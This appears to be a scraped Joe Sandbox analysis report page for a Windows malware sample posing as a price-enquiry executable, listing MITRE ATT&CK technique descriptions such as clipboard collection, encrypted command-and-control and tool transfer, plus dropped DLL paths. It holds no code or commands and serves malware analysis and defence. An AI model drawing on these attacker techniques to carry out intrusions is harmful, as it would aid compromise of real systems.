Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PRICE ENQUIRY - RFQ 6000073650.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l2-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-handle-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-heap-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-interlocked-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-libraryloader-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-localization-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-memory-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-namedpipe-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processenvironment-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-1.dll

Windows Analysis Report
PRICE ENQUIRY - RFQ 6000073650.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre